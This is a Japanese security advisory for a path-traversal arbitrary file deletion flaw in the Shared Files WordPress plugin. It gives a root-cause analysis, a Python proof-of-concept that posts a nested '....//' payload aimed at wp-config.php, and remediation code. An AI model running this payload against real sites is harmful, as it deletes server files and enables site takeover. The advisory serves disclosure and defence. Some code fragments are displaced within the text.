
技術アドバイザリおよびCVE-2026-12513の概念実証です。これはShared Files WordPressプラグインにおけるパストラバーサルを介した未認証の任意ファイル削除に関するもので、根本原因の分析と修復ガイダンスを含みます。
CVE-2026-12513 は、バージョン 1.7.68 より前の Shared Files および Shared Files Pro WordPress プラグインに影響する、パストラバーサルによる認証なし任意ファイル削除の脆弱性です。サイバーセキュリティ研究者の Huynh Kien Minh(MinhHK)氏によって発見・分析されました。この欠陥は、プラグインのフロントエンドファイル送信処理ルーチン内で発生します。ここでは、ユーザーが指定したファイルパスが、ネストされたシーケンス(....// など)を使用してバイパス可能な、欠陥のある単一パストラバーサルパターン置換によってフィルタリングされます。その結果、認証されていないリモート攻撃者が、意図されたアップロードディレクトリの外を指す操作されたパスを送信し、 を含む重要なサーバーアセットを標的にすることができます。管理者がその後アップロードされたエントリをパージまたは完全削除すると、アプリケーションは保存された任意のパスに対してファイルシステム削除プリミティブ()を呼び出します。これにより、WordPress のコア設定ファイルが破壊され、深刻なサービス拒否(DoS)が発生し、未設定のインストールセットアップを介したサイト乗っ取りが可能になります。主任研究者の Huynh Kien Minh 氏は、この脆弱性を CVSS 3.1 スコア 6.8(Medium)(CWE-73 / CWE-22)と評価し、バージョン 1.7.68 以降への即時プラグイン更新と、堅牢な正規パス検証を推奨しています。
wp-config.phpunlink()クイックリンク: 研究者の公式 サイバーセキュリティポートフォリオ を参照するか、WPScan 検証済みアドバイザリ を確認してください。
| パラメータ | 技術仕様 |
|---|---|
| 脆弱性識別子 | CVE-2026-12513 |
| 対象ソフトウェア | Shared Files / Shared Files Pro(WordPress プラグイン) |
| プラグインスラッグ | shared-files、shared-files-pro |
| 影響を受けるバージョン | < 1.7.68 |
| 修正済みバージョン | >= 1.7.68 |
| 脆弱性クラス | ファイル名またはパスの外部制御 / パストラバーサル(CWE-73 / CWE-22) |
| CVSS v3.1 スコア | 6.8(Medium)(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| 発見者 / 研究者 | Huynh Kien Minh(MinhHK) |
| 検証機関 | WPScan / MITRE Corporation |
| WPScan アドバイザリ参照 | WPScan レポート 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| 研究者ポートフォリオ | https://minhhk.web.app/ |
この脆弱性は、Shared Files(< 1.7.68)のフロントエンドファイル送信ハンドラに実装された不十分なパスサニタイズメカニズムに起因します。
フロントエンドのファイル送信を受け入れる際、プラグインは単一パスの文字列置換を使用してディレクトリトラバーサルシーケンス(../)を除去しようとしました:
// Shared Files < 1.7.68 における安全でない単一パスサニタイズフィルタ
$file_path = str_replace( '../', '', $_POST['file_path'] );
str_replace() は左から右へ一度だけ実行されるため:
....//....//....//wp-config.php....// から ../ が一度除去されると、外側の文字が再び結合して ../ を形成します:
....// -> ../../../../../wp-config.php!wp_posts またはカスタムプラグインテーブル)に保存されます。/wp-admin/admin.php?page=shared-files を介してファイルレコードを削除すると、バックエンドは解決された保存パスに対して unlink() を呼び出します:// 脆弱な削除ロジック
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // 対象ファイル(例:/var/www/html/wp-config.php)の削除をトリガー
}
wp-config.php が削除されると:
/wp-admin/install.php)が表示されます。倫理的免責事項: この概念実証は、Huynh Kien Minh 氏による倫理的開示プロトコルの下で、教育研究、防御的検証、およびセキュリティ監査専用に提供されています。
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 認証なしパストラバーサルファイル削除 PoC
著者: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] 監査対象: {target_url}")
# 単一パス str_replace('../', '', $input) をバイパスするネストされたトラバーサルシーケンス
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] 送信レスポンスステータス: {response.status_code}")
if response.status_code == 200:
print("[+] トラバーサルパスがデータベースストレージに正常に注入されました。")
print("[!] エントリが管理者によって削除されると、対象ファイルが unlink されます。")
return True
else:
print(f"[-] リクエストが HTTP ステータス {response.status_code} で失敗しました。")
except requests.RequestException as e:
print(f"[-] 接続に失敗しました: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 以上に更新してください。wp-config.php のファイルシステム権限が Web サーバープロセスに対して読み取り専用(chmod 400 または 440)であることを確認してください。realpath() と wp_normalize_path() を使用して厳格な正規パス解決を強制し、操作が指定されたアップロード境界内に留まることを保証します:
// 安全なパス検証パターン(バージョン 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// 解決された realpath が指定されたベースディレクトリで厳密に始まることを確認
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( '無効または不正なファイルパスです。', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh(MinhHK) は、WordPress の脆弱性研究、コアおよびプラグインのセキュリティ監査、防御的エクスプロイトモデリングを専門とする情報セキュリティ研究者です。
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}